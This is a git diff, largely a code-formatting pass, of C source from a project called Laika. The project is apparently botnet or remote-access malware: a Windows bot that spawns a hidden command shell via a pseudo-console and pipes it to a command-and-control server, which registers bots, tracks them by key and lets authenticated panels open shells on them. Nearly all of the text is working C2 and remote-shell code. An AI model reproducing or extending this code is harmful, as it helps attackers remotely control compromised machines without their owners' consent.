szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
if (hr != S_OK) {
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
laikaM_free(shell->startupInfo.lpAttributeList);
ClosePseudoConsole(shell->pseudoCon);
laikaM_free(shell);
return NULL;
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0);
@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
/* edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows)
{
COORD consoleSize = (COORD){.X = cols, .Y = rows};
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
DWORD mode = PIPE_NOWAIT;
/* create the pipes to which the ConPTY will connect */
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
return HRESULT_FROM_WIN32(GetLastError());
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
easier so it fits in nicely with the rest of the laika codebase
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
*/
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
return HRESULT_FROM_WIN32(GetLastError());
@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
return hr;
}
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
/* also edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
{
HRESULT hr = E_UNEXPECTED;
if (pStartupInfo) {
@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
/* Initialize thread attribute list */
if (pStartupInfo->lpAttributeList
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
if (pStartupInfo->lpAttributeList &&
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
/* Set Pseudo Console attribute */
hr = UpdateProcThreadAttribute(
pStartupInfo->lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
hPC,
sizeof(HPCON),
NULL,
NULL)
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
NULL, NULL)
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
} else {
hr = HRESULT_FROM_WIN32(GetLastError());
}
@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
bool readSucc =
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
if (readSucc) {
/* we read some input! send to cnc */
@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
if (GetLastError() == ERROR_NO_DATA &&
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
DWORD nWritten;
nLeft = length;
while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
return false;

View File

@ -1,24 +1,25 @@
#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H
#include "hashmap.h"
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "ltask.h"
#include "hashmap.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_cnc {
struct sLaika_cnc
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys;
int authKeysCount;
@ -50,7 +51,8 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
/* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);

View File

@ -7,9 +7,13 @@
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
#endif

View File

@ -3,18 +3,20 @@
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
struct sLaika_peerInfo {
struct sLaika_peerInfo
{
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_cnc *cnc;
long lastPing;
bool completeHandshake;
};
struct sLaika_shellInfo {
struct sLaika_shellInfo
{
struct sLaika_peer *bot;
struct sLaika_peer *auth;
uint32_t botShellID, authShellID;
@ -24,25 +26,28 @@ struct sLaika_shellInfo {
#define BASE_PEERINFO struct sLaika_peerInfo info;
/* these will differ someday */
struct sLaika_botInfo {
struct sLaika_botInfo
{
BASE_PEERINFO
};
struct sLaika_authInfo {
struct sLaika_authInfo
{
BASE_PEERINFO
};
#undef BASE_PEERINFO
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData)
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows);
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows);
void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeShells(struct sLaika_peer *peer);

View File

@ -1,57 +1,61 @@
#include "lmem.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"
#include "ltask.h"
#include "cnc.h"
#include "cpanel.h"
#include "cpeer.h"
#include "cnc.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
/* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem {
typedef struct sCNC_PeerHashElem
{
struct sLaika_peer *peer;
uint8_t *pub;
} tCNC_PeerHashElem;
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) {
int cnc_PeerElemCompare(const void *a, const void *b, void *udata)
{
const tCNC_PeerHashElem *ua = a;
const tCNC_PeerHashElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tCNC_PeerHashElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
bool checkPeerKey(struct sLaika_peer *peer, void *uData)
{
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
LAIKA_ERROR("public key is already in use!\n");
return true;
}
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char magicBuf[LAIKA_MAGICLEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
char *tempIPBuf;
uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->osType = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|| major != LAIKA_VERSION_MAJOR
|| minor != LAIKA_VERSION_MINOR)
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR ||
minor != LAIKA_VERSION_MINOR)
LAIKA_ERROR("invalid handshake request!\n");
/* read peer's public key */
@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR,
* which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub);
/* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN - 1] = '\0';
/* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv,
peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
/* encrypt all future packets */
@ -86,8 +92,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
}
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
pInfo->lastPing = laikaT_getTime();
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
@ -145,11 +152,13 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *laikaC_newCNC(uint16_t port)
{
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL;
cnc->authKeys = NULL;
cnc->authKeysCount = 0;
@ -158,8 +167,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
cnc->authPeersCount = 0;
cnc->port = port;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
laikaP_initPList(&cnc->pList);
if (sodium_init() < 0) {
@ -178,7 +187,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
return cnc;
}
void laikaC_bindServer(struct sLaika_cnc *cnc) {
void laikaC_bindServer(struct sLaika_cnc *cnc)
{
/* bind sock to port */
laikaS_bind(&cnc->sock, cnc->port);
@ -186,7 +196,8 @@ void laikaC_bindServer(struct sLaika_cnc *cnc) {
laikaP_addSock(&cnc->pList, &cnc->sock);
}
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
void laikaC_freeCNC(struct sLaika_cnc *cnc)
{
int i;
laikaS_cleanSocket(&cnc->sock);
@ -201,7 +212,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
laikaM_free(cnc);
}
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
GETPINFOFROMPEER(peer)->completeHandshake = true;
@ -218,7 +230,8 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
}
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
int i;
/* ignore uninitalized peers */
@ -228,16 +241,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
/* close any open shells */
laikaC_closeShells(peer);
switch (peer->type) {
case PEER_BOT: {
/* TODO */
break;
}
case PEER_AUTH: {
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default: break;
case PEER_BOT: {
/* TODO */
break;
}
case PEER_AUTH: {
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default:
break;
}
/* notify connected panels of the disconnected peer */
@ -249,7 +263,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
}
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) {
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type)
{
/* make sure to update connected peers */
laikaC_onRmvPeer(cnc, peer);
@ -259,26 +274,28 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
/* update accepted packets */
peer->type = type;
switch (type) {
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
case PEER_AUTH:
peer->packetTbl = laikaC_authPktTbl;
peer->uData = laikaC_newAuthInfo(cnc);
break;
case PEER_BOT:
peer->packetTbl = laikaC_botPktTbl;
peer->uData = laikaC_newBotInfo(cnc);
break;
default:
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
break;
}
/* a new (but not-so-new) peer has arrived */
laikaC_onAddPeer(cnc, peer);
}
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
/* grow array if we need to */
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount,
cnc->authPeersCap);
/* insert into authenticated peer table */
cnc->authPeers[cnc->authPeersCount++] = authPeer;
@ -286,7 +303,8 @@ void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
LAIKA_DEBUG("added panel %p!\n", authPeer);
}
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
int i;
for (i = 0; i < cnc->authPeersCount; i++) {
@ -297,9 +315,10 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
}
}
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
{
uint8_t *buf;
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
if (!laikaK_loadKeys(buf, NULL, key, NULL))
@ -310,27 +329,30 @@ void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
printf("[~] Added authenticated public key '%s'\n", key);
}
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
{
laikaC_onRmvPeer(cnc, peer);
/* free peerInfo if it's defined */
if (peer->uData)
laikaC_freePeerInfo(peer, peer->uData);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket *)peer);
laikaS_freePeer(peer);
LAIKA_DEBUG("peer %p killed!\n", peer);
}
/* socket event */
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_killPeer(cnc, peer);
}
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
{
struct sLaika_peer *peer;
struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i;
@ -347,13 +369,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
for (i = 0; i < numEvents; i++) {
evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer(
laikaC_botPktTbl,
&cnc->pList,
laikaC_onPollFail,
cnc,
(void*)laikaC_newBotInfo(cnc)
);
peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc,
(void *)laikaC_newBotInfo(cnc));
LAIKA_TRY
/* setup and accept new peer */
@ -379,15 +396,18 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
return true;
}
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub)
{
tCNC_PeerHashElem *elem =
(tCNC_PeerHashElem *)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
return elem ? elem->peer : NULL;
}
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
bool sweepPeers(struct sLaika_peer *peer, void *uData)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
long currTime = laikaT_getTime();
/* peer has been silent for a while, kill 'em */
@ -399,33 +419,38 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) {
return true;
}
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
laikaC_iterPeers(cnc, sweepPeers, (void *)cnc);
}
/* =======================================[[ Peer Iter ]]======================================= */
struct sWrapperData {
struct sWrapperData
{
tLaika_peerIter iter;
void *uData;
};
/* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) {
struct sWrapperData *data = (struct sWrapperData*)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem;
bool iterWrapper(const void *rawItem, void *uData)
{
struct sWrapperData *data = (struct sWrapperData *)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem *)rawItem;
return data->iter(item->peer, data->uData);
}
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) {
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
{
struct sWrapperData wrapper;
wrapper.iter = iter;
wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this
itemWrapper so that it can call it. probably a better way to do this
but w/e lol */
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
}

View File

@ -1,12 +1,13 @@
#include "lerror.h"
#include "lmem.h"
#include "cpanel.h"
#include "cnc.h"
#include "cpeer.h"
#include "cpanel.h"
#include "lerror.h"
#include "lmem.h"
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
{
struct sLaika_peer *authPeer = (struct sLaika_peer *)uData;
/* make sure we're not sending connection information to themselves */
if (peer != authPeer) {
@ -17,7 +18,8 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */
@ -31,7 +33,8 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer);
}
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */
@ -43,34 +46,38 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
/* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type;
int i;
type = laikaS_readByte(&authPeer->sock);
switch (type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
